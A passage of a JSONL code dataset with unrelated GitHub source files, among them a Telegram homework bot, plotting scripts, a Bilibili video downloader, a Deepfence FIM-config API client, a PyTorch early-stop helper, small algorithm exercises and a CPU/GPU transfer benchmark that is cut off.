ответе API отсутствует ключ {key}'\n logging.error(error_msg)\n raise KeyError(error_msg)\n if not isinstance(response['homeworks'], list):\n error_msg = \"Домашние работы в ответе API имеют неверный тип\"\n logging.error(error_msg)\n raise TypeError(error_msg)\n\n\ndef parse_status(homework):\n \"\"\"Получение статуса домашней работы.\"\"\"\n logging.debug('Начало получения статуса домашней работы')\n for key in ('status', 'homework_name'):\n if key not in homework:\n error_msg = f'В словаре homework отсутствует ключ {key}'\n logging.error(error_msg)\n raise KeyError(error_msg)\n status = homework['status']\n homework_name = homework['homework_name']\n if status not in HOMEWORK_VERDICTS:\n error_msg = f'Передан неизвестный статус домашней работы \"{status}\"'\n logging.error(error_msg)\n raise KeyError(error_msg)\n verdict = HOMEWORK_VERDICTS[status]\n return f'Изменился статус проверки работы \"{homework_name}\". {verdict}'\n\n\ndef main():\n \"\"\"Основная логика работы бота.\"\"\"\n if not check_tokens():\n logging.critical('Отсутствуют обязательные переменные окружения')\n sys.exit()\n\n bot = telegram.Bot(token=TELEGRAM_TOKEN)\n timestamp = int(time.time())\n\n while True:\n try:\n response = get_api_answer(timestamp)\n check_response(response)\n homeworks = response['homeworks']\n if not homeworks:\n logging.debug('Новых статусов не найдено')\n else:\n homework, *_ = response.get('homeworks')\n homework_status = parse_status(homework)\n send_message(bot, homework_status)\n timestamp = int(time.time())\n except Exception as error:\n message = f'Сбой в работе программы: {error}'\n send_message(bot, message)\n finally:\n time.sleep(RETRY_PERIOD)\n\n\nif __name__ == '__main__':\n logging.basicConfig(\n format='%(asctime)s [%(levelname)s] %(message)s',\n level=logging.DEBUG,\n handlers=[logging.StreamHandler(sys.stdout)]\n )\n main()\n","repo_name":"coskoff88/homework_bot","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":5219,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21345654270","text":"#:@ TIME 2022/1/2 10:14\n#:@FILE list_page.py\n#:@EMAIL 1557225637@QQ.COM\nimport time\n\nimport pytest\nfrom common.log import logg as log\nfrom common.basepage import BasePage\nfrom selenium.webdriver.common.by import By\nimport random\nfrom page_object.common_page import CommonPage\n\n\nclass ListPage(BasePage):\n random_goods_ele = By.XPATH, '//img[@class=\"goods-img sample-thumb\"]'\n random_color_ele = By.XPATH, '//span[@class=\"bg\"]'\n\n \"\"\"\n 随机点击列表页商品进入详情页\n \"\"\"\n\n def random_into_one_goods(self):\n rd = random.randint(1, 60 - 5)\n try:\n target = self.driver.find_elements(*self.random_goods_ele)[rd]\n self.driver.execute_script(\"arguments[0].scrollIntoView();\", target) # 拖动到可见的元素去\n target.click()\n try:\n self.switch_to_window()\n except Exception as b:\n log.exception('切换窗口失败')\n raise b\n except Exception as a:\n log.exception('随机点击商品失败')\n raise a\n\n def random_select_one_color(self):\n self.click_element(self.random_color_ele, '随机选择一个color')\n","repo_name":"shiyong979796/outo_web","sub_path":"page_object/list_page.py","file_name":"list_page.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44869427124","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef dispaly_plot(res_plt, tick_label, name):\r\n \r\n width = 0.42\r\n x = np.arange(0,8,2) # 控制x轴的个数\r\n\r\n fig = plt.figure(figsize = (14,8))\r\n plt.bar(x, res_plt.loc[:,'acc'],width, label='Accuracy',color=\"c\",alpha=0.5)\r\n for i, j in zip(x, res_plt.loc[:,'acc']):\r\n plt.text(i+0.001,j+0.001, '%.3f'%j, ha='center')\r\n\r\n plt.bar(x+ width, res_plt.loc[:,'pre'], width, label='Precision',color=\"b\", alpha=0.5)\r\n for i, j in zip(x+ width, res_plt.loc[:,'pre']):\r\n plt.text(i+0.001,j+0.001, '%.3f'%j, ha='center')\r\n\r\n plt.bar(x+ 2*width, res_plt.loc[:,'rec'], width,label='Recall', color=\"y\",alpha=0.5)\r\n for i, j in zip(x+ 2*width, res_plt.loc[:,'rec']):\r\n plt.text(i+0.001,j+0.001, '%.3f'%j, ha='center')\r\n\r\n plt.bar(x+ 3*width, res_plt.loc[:,'f1'], width,label='F1-score',color=\"chocolate\",alpha=0.7)\r\n for i, j in zip(x+ 3*width, res_plt.loc[:,'f1']):\r\n plt.text(i+0.001,j+0.001, '%.3f'%j, ha='center')\r\n\r\n plt.ylim(0.7,1.0)\r\n plt.xticks(fontsize=15)\r\n plt.yticks(fontsize=15)\r\n plt.legend(loc='upper left', fontsize=15)\r\n plt.xticks(x+1.5*width,tick_label)\r\n plt.savefig('../picture/%s_plot.pdf'%name)\r\n # plt.show()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # names = ['diagnosis_1307','diagnosis_268','diagnosis_114', 'diagnosis_46'] #plt.ylim(0.65,1.0) #x轴5个\r\n names = ['treatment_1310', 'treatment_241', 'treatment_120', 'treatment_39'] #plt.ylim(0.7,1.0) #x轴4个\r\n for name in names:\r\n path = '../data/%s.txt'%name\r\n data = pd.read_csv(path, encoding='utf-8')\r\n # print(data.head())\r\n res_plt = data[[\"acc\", \"pre\", \"rec\", \"f1\"]]\r\n tick_label = data.index\r\n dispaly_plot(res_plt, tick_label, name)\r\n pass","repo_name":"QAQ1551QAQ/cancer-diagnosis_treatment","sub_path":"result_display/code/res_bar.py","file_name":"res_bar.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34148295012","text":"# You are then going to create a function called days_in_month() which will take a year and a month\n# and should return the number of days of that month\n\n# days_in_month(year=2022, month=2)\n\ndef is_leap(year):\n if year % 4 == 0:\n if year % 100 == 0:\n if year % 400 == 0:\n return True\n else:\n return False\n else:\n return True\n else:\n return False\n\n\ndef days_in_month(year, month):\n month_days = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n is_leap_year = is_leap(year)\n\n if is_leap_year and month == 2:\n return 29\n else:\n return month_days[month-1]\n\n\nyear = int(input(\"Enter a year: \"))\nmonth = int(input(\"Enter a month: \"))\ndays = days_in_month(year, month)\nprint(days)\n","repo_name":"narcisabadea/100-days-of-code-python","sub_path":"Day10/Exercise 1 - Days in Month.py","file_name":"Exercise 1 - Days in Month.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19964893265","text":"import requests\r\nimport json\r\nimport os\r\n\r\n\r\nclass ChannelVideos(object):\r\n def __init__(self, page_number,\r\n base_url,\r\n out_path='',\r\n channel_url='https://api.bilibili.com/x/space/channel/video?mid=394612055&cid=200461&pn='):\r\n self.page_number = page_number\r\n self.base_url=base_url\r\n self.channel_url = channel_url\r\n self.out_path = out_path\r\n self.load_videos()\r\n\r\n def get_channel_urls(self):\r\n channel_urls = []\r\n for num in range(self.page_number):\r\n channel_url = self.channel_url + str(num + 1)\r\n channel_urls.append(channel_url)\r\n return channel_urls\r\n\r\n def get_page_bvid(self, url):\r\n bvid_list = []\r\n channel_json = requests.get(url).text\r\n json_data = json.loads(channel_json)\r\n bvid_json_list = json_data['data']['list']['archives']\r\n for item in bvid_json_list:\r\n bvid = item['bvid']\r\n bvid_list.append(bvid)\r\n return bvid_list\r\n\r\n def get_all_bvids(self):\r\n all_bvid_list = []\r\n channel_pages = self.get_channel_urls()\r\n for url in channel_pages:\r\n page_bvid_list = self.get_page_bvid(url)\r\n all_bvid_list.extend(page_bvid_list)\r\n return all_bvid_list\r\n\r\n def load_videos(self):\r\n all_bvid_list = self.get_all_bvids()\r\n for bvid in all_bvid_list:\r\n video_url = self.base_url + bvid\r\n command_word = \"you-get -o \" + self.out_path + \" \" + video_url\r\n os.system(command_word)\r\n\r\n\r\nif __name__ == '__main__':\r\n # channel_videos=ChannelVideos(3)\r\n # all_bvid_list=channel_videos.get_all_bvids()\r\n # print(all_bvid_list)\r\n #\r\n # channel_videos = ChannelVideos(3)\r\n # all_bvid_list = channel_videos.get_all_bvids()\r\n base_url = 'https://www.bilibili.com/video/'\r\n # out_put_path = r\"D:\\Video\\WebRTC视频教程-H5\"\r\n # for bvid in all_bvid_list:\r\n # url = base_url + bvid\r\n # command_word = \"you-get -o \" + out_put_path + \" \" + url\r\n # os.system(command_word)\r\n page_number=3\r\n out_path=r'D:\\Video\\test'\r\n channelVideos=ChannelVideos(page_number,base_url,out_path)\r\n","repo_name":"wyzlhf/loadVideoFromBili","sub_path":"channelJsonVideo.py","file_name":"channelJsonVideo.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18182136180","text":"import requests\nimport yaml, json\nfrom jsonschema import validate\nfrom jsonschema.exceptions import ValidationError, SchemaError\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\ndef update_fim_config(api_url, api_key, config_filename):\n default_headers = {\"Content-Type\": \"application/json\", \"Authorization\": \"\"}\n api_response = requests.post(\"{0}/users/auth\".format(api_url),\n json={\"api_key\": api_key}, headers=default_headers,\n verify=False).json()\n if api_response[\"success\"]:\n print(\"Authentication successful\")\n else:\n print(\"Authentication failed\")\n return\n default_headers[\"Authorization\"] = \"Bearer \" + api_response[\"data\"][\"access_token\"]\n\n enumerate_filters = {\"type\": [\"host\"], \"pseudo\": False}\n api_response = requests.post(\"{0}/enumerate\".format(api_url),\n json={\"filters\": enumerate_filters, \"size\": 10000},\n headers=default_headers, verify=False).json()\n nodes_list = []\n counter = 1\n print(\"\\nupdate fim config\")\n api_response_nodes = api_response.get(\"data\", {}).get(\"data\", [])\n if not api_response_nodes:\n print(\"No nodes found\")\n return\n for node in api_response_nodes:\n if node.get(\"is_ui_vm\", False):\n continue\n if node[\"type\"] == \"kube_service\":\n node_name = \"{0} (kubernetes service)\".format(node.get(\"name\", \"\"))\n else:\n node_name = \"{0} (host)\".format(node.get(\"host_name\", \"\"))\n print(\"{0}: {1}\".format(counter, node_name))\n nodes_list.append({\"id\": node[\"id\"], \"node_name\": node_name, \"node_type\": node[\"type\"]})\n counter += 1\n print(\"\\nEnter comma separated list of node numbers to update fim config. Eg: 1,3,4\\n\")\n print(\"Enter \\\"all\\\" (without quotes) to update fim config on all nodes\\n\")\n user_input = input(\"-->\").split(\",\")\n if \"all\" in user_input:\n nodes_selected = nodes_list\n else:\n nodes_selected = []\n for user_input_no in user_input:\n try:\n nodes_selected.append(nodes_list[int(user_input_no) - 1])\n except:\n pass\n if not nodes_selected:\n print(\"No nodes selected. Select at least one node.\")\n exit(0)\n # print(\"\\nEncrypted packet capture? Enter Y or N:\")\n # is_encrypted_capture = str(input(\"-->\"))\n is_encrypted_capture = \"N\"\n with open (config_filename, \"r\") as configfile:\n fim_config=configfile.read()\n with open (\"fim_config_schema.json\", \"r\") as schemafile:\n fim_schema=schemafile.read() \n # print(\"Fim Config: \", fim_config)\n # print(\"Fim Schema: \", fim_schema)\n # print(\"config yaml: \", yaml.load(fim_config))\n # print(\"schema json: \", json.loads(fim_schema))\n try:\n validate(yaml.safe_load(fim_config), json.loads(fim_schema))\n except ValidationError as ex:\n print(\"Fim Config is not valid: \\n\", ex)\n exit(1)\n except SchemaError as ex:\n print(\"Fim Schema is not valid: \\n\", ex)\n exit(1)\n except Exception as ex:\n print(\"Error: \", ex)\n exit(1)\n\n post_data = {\n \"fim_config\": str(fim_config)\n }\n for node in nodes_selected:\n try:\n response = requests.post(\"{0}/node/{1}/update_fim_config?os=linux\".format(api_url, node[\"id\"]), headers=default_headers,\n verify=False, json=post_data)\n print(response.text)\n print(\"FIM config will be updated in selected nodes\")\n except:\n print(\"Error in api call\")\n\n\nif __name__ == '__main__':\n import sys\n\n if len(sys.argv) != 4:\n print(\"Usage: python3 update_fim_config.py \")\n exit(1)\n update_fim_config(\"https://{0}/deepfence/v1.5\".format(sys.argv[1]), sys.argv[2], sys.argv[3])\n","repo_name":"deepfence/deepfence_runtime_api","sub_path":"scripts/fim_config/update_fim_config.py","file_name":"update_fim_config.py","file_ext":"py","file_size_in_byte":4030,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"48"} +{"seq_id":"69916029267","text":"\"\"\"\n\"\"\"\nimport numpy as np\n\nfrom ...defaults import DEFAULT_MS_PDICT, DEFAULT_Q_PDICT\nfrom ...utils import _jax_get_dt_array\nfrom ..fit_smah_helpers import get_header, get_loss_data_fixed_hi\n\nDIFFMAH_K = 3.5\n\n\ndef test_get_header_colnames_agree_with_model_param_names():\n header = get_header()\n assert header[0] == \"#\"\n colnames = header[1:].strip().split()\n\n assert colnames[0] == \"halo_id\"\n\n u_ms_colnames_from_header = colnames[1:6]\n ms_colnames_from_header = [s[2:] for s in u_ms_colnames_from_header]\n assert ms_colnames_from_header == list(DEFAULT_MS_PDICT.keys())\n\n u_q_colnames_from_header = colnames[6:10]\n q_colnames_from_header = [s[2:] for s in u_q_colnames_from_header]\n assert q_colnames_from_header == list(DEFAULT_Q_PDICT.keys())\n\n assert colnames[10:] == [\"loss\", \"success\"]\n\n\ndef test_get_loss_data_fixed_hi():\n t_sim = np.linspace(0.1, 13.8, 100)\n dt_sim = _jax_get_dt_array(t_sim)\n sfrh = np.random.uniform(0, 10, t_sim.size)\n smh = np.cumsum(dt_sim * sfrh) * 1e9\n log_smah_sim = np.log10(smh)\n\n logmp = 12.0\n logtc, early, late = 0.1, 2.0, 1.0\n mah_params = logtc, DIFFMAH_K, early, late\n p_init, loss_data = get_loss_data_fixed_hi(\n t_sim, dt_sim, sfrh, log_smah_sim, logmp, mah_params\n )\n","repo_name":"ArgonneCPAC/diffstar","sub_path":"diffstar/fitting_helpers/tests/test_fitting_smah_helpers.py","file_name":"test_fitting_smah_helpers.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"29044186796","text":"from Entities import player as p\nfrom Entities import combination as c\n\nclass Game:\n \"\"\"docstring for Game\"\"\"\n\n _level_one = {\n \"name\": \"facile\",\n \"combinationLength\": 4,\n \"colors\": 8,\n \"attempts\": 10\n }\n\n _level_two = {\n \"name\": \"moyen\",\n \"combinationLength\": 6,\n \"colors\": 10,\n \"attempts\": 10\n }\n\n def __init__(self):\n self.attempts_counter = 0\n self.attempts_array = []\n self.victory = False\n\n def set_players(self, player1, player2):\n self.player1 = p.Player(player1)\n self.player2 = p.Player(player2)\n\n def set_level(self, level):\n if(level == self._level_one['name']):\n self.level = self._level_one\n else :\n self.level = self._level_two\n\n def set_mode(self, mode):\n self.debug_mode = mode\n\n def set_solution_entry(self, master):\n self.solution_entry = c.Combination(self.level['name'], self.level[\"combinationLength\"], master)\n\n def set_try_entry(self, master):\n self.try_entry = c.Combination(self.level['name'], self.level[\"combinationLength\"], master)\n","repo_name":"thomas-cesi/mastermind","sub_path":"Entities/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71217300626","text":"# !/usr/bin/env python \n## created by Yun Hao @MooreLab 2021\n## code inspired by Bjarten's github repo https://github.com/Bjarten/early-stopping-pytorch/blob/master/pytorchtools.py\n## This script contains early stop function of DTox model\n\n\n## Module\nimport numpy as np\nimport torch\n\n\n## This function stops training of neural network if testing loss doesn't improve after a given patience\nclass stop:\n\t## 0. Input arguments \n\t\t# patience: (int): how many epochs to wait after last time testing loss improved. Default: 20\n\t\t# delta: (float): minimum change in the monitored quantity to qualify as an improvement. Default: 0\n\t\t# model_name: (str): name of model to be saved\n\t\t# verbose: (bool): If True, prints a message for each testing loss improvement. \n\n\t## 1. Define stop parameters \n\tdef __init__(self, patience = 20, delta = 0, model_name = 'checkpoint.pt', verbose = False):\n\t\tself.patience = patience\n\t\tself.delta = delta\n\t\tself.model_name = model_name\n\t\tself.verbose = verbose\n\t\tself.counter = 0\n\t\tself.best_score = None\n\t\tself.early_stop = False\n\t\tself.val_loss_min = np.Inf\n\n\t## 2. Check whether early stopping criterion is reached \n\tdef __call__(self, val_loss, model, optimizer):\n\t\t# use negative loss score so that the trend of score to observe is increasing\n\t\tscore = -val_loss\n\t\t# if at first epoch, assign best score, save current model \n\t\tif self.best_score is None:\n\t\t\tself.best_score = score\n\t\t\tself.save_checkpoint(val_loss, model, optimizer)\n\t\t# if score does not exceed current best after adjusting by minimum change\n\t\telif score <= self.best_score + self.delta:\n\t\t\tself.counter += 1 \n\t\t\tif self.verbose:\n\t\t\t\tprint(f'EarlyStopping counter: {self.counter} out of {self.patience}')\n\t\t\t# stop training when number of patience is reached \n\t\t\tif self.counter >= self.patience:\n\t\t\t\tself.early_stop = True\n\t\t# if score exceeds current best, re-assign best score, save current model, reset patience count to 0 \n\t\telse:\n\t\t\tself.best_score = score\n\t\t\tself.save_checkpoint(val_loss, model, optimizer)\n\t\t\tself.counter = 0\n\n\t## 3. Save current model when testing loss is still improving \n\tdef save_checkpoint(self, val_loss, model, optimizer):\n\t\tif self.verbose:\n\t\t\tprint(f'Validation loss decreased ({self.val_loss_min:.6f} --> {val_loss:.6f}). Saving model ...')\n\t\ttorch.save({'model_state_dict': model.state_dict(), 'optimizer_state_dict': optimizer.state_dict()}, self.model_name)\n\t\tself.val_loss_min = val_loss\n","repo_name":"yhao-compbio/DTox","sub_path":"src/early_stop.py","file_name":"early_stop.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"71806398867","text":"from drive import init_module,open_folder,create_file_from_local,get_list_from_folder,download_file,change_content_from_string, open_sub_folder, get_file_from_folder\nfrom file_manager import var_to_file, file_to_var, key_to_file, file_to_key\nfrom encrypting import generate_keyPair, encrypt, desencrypt, sign, verify\nfrom enum import Enum\n\ndebug = True\n\nclass regType(Enum):\n REGULAR = 0\n NEW_DOC = 1\n\ndef is_doctor_on_database(public_exp, modulus):\n doctor_database = file_to_var('doctor_database')\n answer = False\n for item in doctor_database:\n if public_exp == item[0] and modulus == item[1]:\n answer = True\n break\n return answer\n\ndef encrypt_and_sign(message, private_key):\n public_key = private_key.public_key()\n encmes = encrypt(message, public_key)\n signature = sign(encmes, private_key.d, private_key.n)\n return (encmes, signature, public_key.e, public_key.n)\n\ndef make_new_register(message, doctor_private_key, client_private_key):\n doctor_enc = encrypt_and_sign(message, doctor_private_key)\n client_enc = encrypt_and_sign(message, client_private_key)\n return (regType.REGULAR, doctor_enc, client_enc)\n\ndef validate_register(register):\n doctor_enc = register[1]\n client_enc = register[2]\n\n if is_doctor_on_database(doctor_enc[2],doctor_enc[3]) and \\\n verify(doctor_enc[0],doctor_enc[1],doctor_enc[2],doctor_enc[3]) and \\\n verify(client_enc[0],client_enc[1],client_enc[2],client_enc[3]):\n return True\n else:\n return False\n\ndef get_related_blocks(key_is_doctor,public_key,block_chain):\n related_blocks = []\n for register in block_chain:\n if key_is_doctor:\n if register[1][2] == public_key.e and register[1][3] == public_key.n:\n related_blocks.append(register)\n else:\n if register[2][2] == public_key.e and register[2][3] == public_key.n:\n related_blocks.append(register)\n return related_blocks\n\ndef decrypt_related_common_blocks(doctor_private_key,client_public_key,block_chain): # incluye NEW_DOC\n related_to_client = get_related_blocks(False,client_public_key,block_chain)\n related_to_both = get_related_blocks(True,doctor_private_key.public_key(),related_to_client)\n decrypted = []\n for register in related_to_both:\n decrypted.append(desencrypt(register[1][0],doctor_private_key))\n return decrypted\n\ndef get_full_history(client_private_key,block_chain):\n history = get_related_blocks(False,client_private_key.public_key(),block_chain)\n decrypted = []\n for register in history:\n if register[0] == regType.REGULAR: # No incluimos NEW_DOC por redundancia\n decrypted.append(desencrypt(register[2][0],client_private_key))\n return decrypted\n\ndef make_new_history(client_private_key, doctor_private_key, block_chain):\n decrypted_history = get_full_history(client_private_key,block_chain)\n new_message = \"\"\n for message in decrypted_history:\n new_message += str(message)\n new_message += \" - \"\n doctor_enc = encrypt_and_sign(new_message, doctor_private_key)\n client_enc = encrypt_and_sign(new_message, client_private_key)\n return (regType.NEW_DOC,doctor_enc,client_enc)\n\n#def is_register_on_block_chain(register,block_chain):\n# for reg in block_chain:\n# if reg == register:\n# return True\n# return False\n\n\nif debug:\n print(\"debug\")\n # CREAR Y VALIDAR UN REGISTRO\n #message = \"A la grande le puse cuca\"\n #doc_key = file_to_key('doctor_key_0')\n #cli_key = file_to_key('client_key_0')\n #new_reg = make_new_register(message, doc_key, cli_key)\n #print(validate_register(new_reg))\n\n\n ## CREAR UNA BLOCKCHAIN A PARTIR DE REGISTROS (siendo el hospital)\n drive = init_module()\n main_folder = open_folder(drive,\"watahack_folder1\")\n hospital_folder = open_sub_folder(drive, main_folder, \"Node_1\")\n \n my_block_chain = []\n\n my_block_chain.append(make_new_register(\"PRIMER REGISTRO\",file_to_key(\"doctor_key_0\"),file_to_key(\"client_key_0\")))\n my_block_chain.append(make_new_register(\"SEGUNDO REGISTRO\",file_to_key(\"doctor_key_0\"),file_to_key(\"client_key_1\")))\n my_block_chain.append(make_new_register(\"TERCER REGISTRO\",file_to_key(\"doctor_key_1\"),file_to_key(\"client_key_1\")))\n my_block_chain.append(make_new_register(\"CUARTO REGISTRO\",file_to_key(\"doctor_key_1\"),file_to_key(\"client_key_3\")))\n my_block_chain.append(make_new_register(\"QUINTO REGISTRO\",file_to_key(\"doctor_key_0\"),file_to_key(\"client_key_0\")))\n\n ##new_thingy = make_new_register(\"PRIMER REGISTRO\",file_to_key(\"doctor_key_0\"),file_to_key(\"client_key_0\"))\n \n #print(is_register_on_block_chain(new_thingy),my_block_chain)\n\n var_to_file(my_block_chain,\"my_block_chain\")\n create_file_from_local(drive,hospital_folder,\"my_block_chain\")\n\n ## (siendo el medico) COPIANDO DATOS DEL HOSPITAL, PARA VER DATOS DE UN PACIENTE\n #drive = init_module()\n #main_folder = open_folder(drive,\"watahack_folder1\")\n #hospital_folder = open_sub_folder(drive, main_folder, \"Node_1\")\n #file = get_file_from_folder(drive,hospital_folder,\"my_block_chain\")\n #download_file(drive,file,\"copied_block_chain\")\n #block_chain = file_to_var(\"copied_block_chain\")\n #print(block_chain)\n\n #cli_key = file_to_key(\"client_key_1\")\n #related_blocks = get_related_blocks(False,cli_key.public_key(),block_chain)\n #print(related_blocks)\n #doc_key = file_to_key(\"doctor_key_4\")\n #desencrypted = decrypt_related_common_blocks(doc_key,cli_key.public_key(),block_chain)\n #desencrypted = get_full_history(cli_key,block_chain)\n #print(desencrypted)\n #make_new_history(cli_key,doc_key,block_chain)\n","repo_name":"hackitba-watahack/hackitba-watahack","sub_path":"watahack_bc.py","file_name":"watahack_bc.py","file_ext":"py","file_size_in_byte":5711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4004251710","text":"# -*- python -*-\n#\n# Setup our environment\n#\nimport glob, os.path, re, os\nimport lsst.SConsUtils as scons\n\n\nenv = scons.makeEnv(\"fitting_benchmark\",\n r\"$HeadURL: svn+ssh://svn.lsstcorp.org/DMS/mops/daymops/trunk/SConstruct $\",\n\t\t [[\"gsl\", \"gsl/gsl_fit.h\", \"gslcblas gsl:C++\"]])\n\nenv.libs[\"fitting_benchmark\"] += env.getlibs(\"gsl\")\n\n\n\nlibs = []\n\nlibs.append(env.StaticLibrary('kubicaStyle',\n ['kubicaStyle.cc']))\n\nlibs.append(env.StaticLibrary('gslStyle',\n ['gslStyle.cc']))\n\nenv.Program('benchmark', ['benchmark.cc'] + libs, LIBS=env.getlibs(\"gsl\"))\n","repo_name":"lsst/mops_daymops","sub_path":"tests/quadraticFitting/SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"38028953490","text":"def partition(array, start, end):\n pivot = array[start]\n j = start + 1\n k = end\n while(j <= k):\n if(array[j] > pivot and array[k] <= pivot):\n aux = array[j]\n array[j] = array[k]\n array[k] = aux\n if(array[j] <= pivot): j += 1\n if(array[k] > pivot): k -= 1\n \n aux = array[start]\n array[start] = array[k]\n array[k] = aux\n return k\n\ndef k_esim(array, start, end, k):\n h = partition(array, start, end)\n if(k == h+1): return array[h]\n if(k < h+1): return k_esim(array, start, h-1, k)\n if(k > h+1): return k_esim(array, h+1, end, k)\n \n\narray = [5,8,2,3,10,9]\nprint(k_esim(array, 0, len(array)-1, len(array)-1))\n# print(partition(array, 4, len(array)-1))\n# print(array)\n# print(array)\n","repo_name":"douglasgondim/University","sub_path":"Construction and Analysis of Algorithms/codes/k_esim.py","file_name":"k_esim.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28208156166","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/9/23 08:33\n# @Author : ck\n\"\"\"\n题目:<报数>\n报数序列是一个整数序列,按照其中的整数的顺序进行报数,得到下一个数。其前五项如下:\n\n1. 1\n2. 11\n3. 21\n4. 1211\n5. 111221\n1 被读作  \"one 1\"  (\"一个一\") , 即 11。\n11 被读作 \"two 1s\" (\"两个一\"), 即 21。\n21 被读作 \"one 2\",  \"one 1\" (\"一个二\" ,  \"一个一\") , 即 1211。\n\n给定一个正整数 n(1 ≤ n ≤ 30),输出报数序列的第 n 项。\n\n注意:整数顺序将表示为一个字符串。\n\n \n示例 1:\n\n输入: 1\n输出: \"1\"\n示例 2:\n\n输入: 4\n输出: \"1211\"\n\"\"\"\n\n\nclass Solution:\n def countAndSay(self, n: int) -> str:\n def next_num(tmp):\n res = \"\"\n i = 0\n tmp_n = len(tmp)\n while i < tmp_n:\n count = 1\n while i < tmp_n - 1 and tmp[i] == tmp[i+1]:\n count += 1\n i += 1\n res += (str(count) + tmp[i])\n i += 1\n return res\n res = \"1\"\n for i in range(1, n):\n res = next_num(res)\n return res\n\n\nif __name__ == '__main__':\n s = Solution()\n result = s.countAndSay(9)\n print(result)\n","repo_name":"leet001/leetcode_share","sub_path":"easy/Q_38.py","file_name":"Q_38.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"22437646180","text":"class Solution:\r\n def coinChange(self, coins, amount):\r\n dp = [0] + [float('inf')] * amount\r\n for c in coins:\r\n for a in range(1, amount + 1):\r\n if a >= c and dp[a - c] != float('inf'):\r\n dp[a] = min(dp[a], dp[a - c] + 1)\r\n return dp[-1] if dp[-1] != float('inf') else -1\r\n\r\n def coinChange1(self, coins, amount):\r\n c = [0] + [float('inf')] * amount\r\n for i in range(len(c)):\r\n if c[i] == float('inf'):\r\n c[i] = min([c[i - coin] + 1 for coin in coins if i >= coin and c[i - coin] > -1] + [float('inf')])\r\n return c[-1] if c[-1] < float('inf') else -1\r\n\r\n\r\nif __name__ == '__main__':\r\n solution = Solution()\r\n print(solution.coinChange([368, 305, 204, 88, 148, 423, 296, 125, 346], 7163))\r\n","repo_name":"MadSkittles/leetcode","sub_path":"322.py","file_name":"322.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"39624887392","text":"def string_clean(s):\n \"\"\"\n Delete from string all digits.\n \"\"\"\n res = ''\n\n for i in s:\n if not i.isdigit():\n res += i\n return res\n\n\nassert string_clean(\"Dsa32 cdsc34232 csa!!! 1I 4Am cool!\") == \"Dsa cdsc csa!!! I Am cool!\"\n","repo_name":"suminv/codewar","sub_path":"string_clean_func.py","file_name":"string_clean_func.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"767369396","text":"import time\nimport torch\n\n#should be 40 GB\n#torch.rand([1024, 1024, 1024, 10])\n\n# g means g GB\nmock_data = [\n lambda g: torch.rand([1024, 1024, 256, g]),\n lambda g: torch.rand([1024, 512, 512, g]),\n lambda g: torch.rand([512, 512, 512, 2, g]),\n lambda g: torch.rand([2048, 512, 256, g]),\n lambda g: torch.rand([4096, 256, 256, g]),\n lambda g: torch.rand([128, 8, 128, 8, 128, 2, g]),\n]\n\ncuda_device = torch.device('cuda:0')\ncpu_device = torch.device('cpu') \n\n\ndef cpu_to_gpu(tensor, cuda_tensor):\n assert tensor.device == cpu_device\n assert cuda_tensor.device == cuda_device\n\n start_time = time.time()\n \n cuda_tensor.copy_(tensor)\n #cuda_tensor = tensor.cuda()\n \n end_time = time.time()\n \n duration = end_time - start_time\n size = 4 / 1024 / 1024 / 1024 \n for dim in tensor.size():\n size *= dim\n speed = size / duration\n\n print('speed c2g (GB/s): ', speed, '; size (GB): ', size, '; duration (s): ', duration, '; shape: ', tensor.size())\n\n\ndef gpu_to_cpu(tensor, cpu_tensor):\n assert tensor.device == cuda_device\n assert cpu_tensor.device == cpu_device\n\n start_time = time.time()\n\n cpu_tensor.copy_(tensor)\n #cpu_tensor = tensor.cpu()\n \n end_time = time.time()\n \n duration = end_time - start_time\n\n size = 4 / 1024 / 1024 / 1024 \n for dim in tensor.size():\n size *= dim\n speed = size / duration\n\n print('speed g2c (GB/s): ', speed, '; size (GB): ', size, '; duration (s): ', duration, '; shape: ', tensor.size())\n\n\nfor i in range(1, 20):\n for j in range(6):\n for k in range(3):\n gpu_to_cpu(mock_data[j](i).cuda(), mock_data[j](i).pin_memory())\n\nfor i in range(1, 20):\n for j in 